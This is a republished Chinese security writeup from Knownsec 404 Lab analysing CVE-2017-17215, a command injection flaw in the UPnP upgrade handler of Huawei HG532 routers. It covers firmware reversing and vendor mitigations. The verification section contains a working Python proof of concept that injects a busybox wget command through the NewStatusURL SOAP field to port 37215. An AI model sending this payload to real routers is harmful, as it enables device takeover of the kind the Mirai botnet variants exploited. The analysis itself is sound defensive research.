专栏首页Seebug漏洞平台Huawei HG532 系列路由器远程命令执行漏洞分析

Huawei HG532 系列路由器远程命令执行漏洞分析

作者:fenix@知道创宇404实验室

背 景

华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。

2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215) [1] https://research.checkpoint.com/good-zero-day-skiddie/。 该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。 2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。

漏 洞 分 析

固件下载

网上有 HG532e 版本的公开固件,下载地址:[2] https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar 下载该固件,利用 binwalk 直接解压。

目标系统是 MIPS 32 位 大端架构。

漏洞分析

根据 Check Point 的报告 [1] https://research.checkpoint.com/good-zero-day-skiddie/,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。 UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。 直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。 通过字符串 NewStatusURL 对漏洞点进行定位。

跟踪数据交叉引用

漏洞点如下

ATP_XML_GetChildNodeByName 函数的定义如下。

程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。

snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL) system($s0)

upg 是路由器的一个升级程序,他的参数功能如下。

现在我们有两个命令注入点,NewDownloadURL 和 NewStatusURL 。

漏洞验证

目标系统提供了以下命令。

利用 wget 命令进行漏洞测试。发送以下报文。

import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" } data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> ''' requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到,我们成功在监听的端口上收到了请求。

值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。

在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。

防护方案

2017/11/30,华为官方发布了安全公告 [4] http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en,确认了该漏洞。

公告中提到了以下漏洞缓解措施

  • 配置路由器内置的防火墙
  • 更改路由器默认密码
  • 在路由器外部署防火墙

是的,没找到固件升级包,所以,没有补丁分析...

总 结

1、和爱尔兰宽带路由器 SetNTPServers 命令注入类似 [3] https://www.seebug.org/vuldb/ssvid-97024,这个漏洞整体来看就是一个简单的命令拼接。

2、该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。

3、还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。

参 考 链 接

[1] Check Point 漏洞报告

https://research.checkpoint.com/good-zero-day-skiddie/

[2] HG532e 固件下载

https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

[3] 爱尔兰宽带路由器 SetNTPServers 命令注入

https://www.seebug.org/vuldb/ssvid-97024

[4] 华为安全公告

http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:404实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-12-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • [紧急预警]图片噩梦,沦陷全球无数服务

    不是标题党- - 这个漏洞被命名为 ImageTragick。 知道创宇安全研究团队已经证明,一堆大服务受到这个漏洞影响,点名根本点不过来。不废话,直接看! ...

    Seebug漏洞平台
  • GPON Home Gateway 远程命令执行漏洞分析

    2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-1...

    Seebug漏洞平台
  • Sebug 大牛支招之我是如何在Sebug中杀入前10的?

    大家好我是koshell,ID:k0sh1, 在之前的文章中我分享了在web漏洞挖掘中的一些小技巧,这里要补充一下。 注入其实只是众多web入侵手段中的一种,脱...

    Seebug漏洞平台
  • 如何阻止下一次心脏出血漏洞

    原文:How to Prevent the next Heartbleed.docx 翻译:赵阳 一、引言 基于OpenSSL的心脏出血漏洞被认为是CVE-20...

    FB客服
  • RabbitMQ05-交换器【fanout】介绍

      FanoutExchange 的数据交换策略是把所有到达 FanoutExchang 的消息转发给所有与它绑定的Queue ,在这种策略中, routing...

    用户4919348
  • 【翻译】.NET Core3.1发布

    我们很高兴宣布.NET Core 3.1的发布。实际上,这只是对我们两个多月前发布的.NET Core 3.0的一小部分修复和完善。最重要的是.NET Core...

    HueiFeng
  • 【翻译】.NET Core3.1发布

    我们很高兴宣布.NET Core 3.1的发布。实际上,这只是对我们两个多月前发布的.NET Core 3.0的一小部分修复和完善。最重要的是.NET Core...

    梁规晓
  • JVM常用参数配置

    Java学习录
  • kubernetes-8:kibana容器化

    http://toutiao.com/item/6699441606832947723/

    千里行走
  • rabbitmq学习笔记

    建议看下美团分享的rabbitmq基础:http://mp.weixin.qq.com/s/OABseRR0BnbK9svIPyLKXw

    二狗不要跑

扫码关注云+社区

领取腾讯云代金券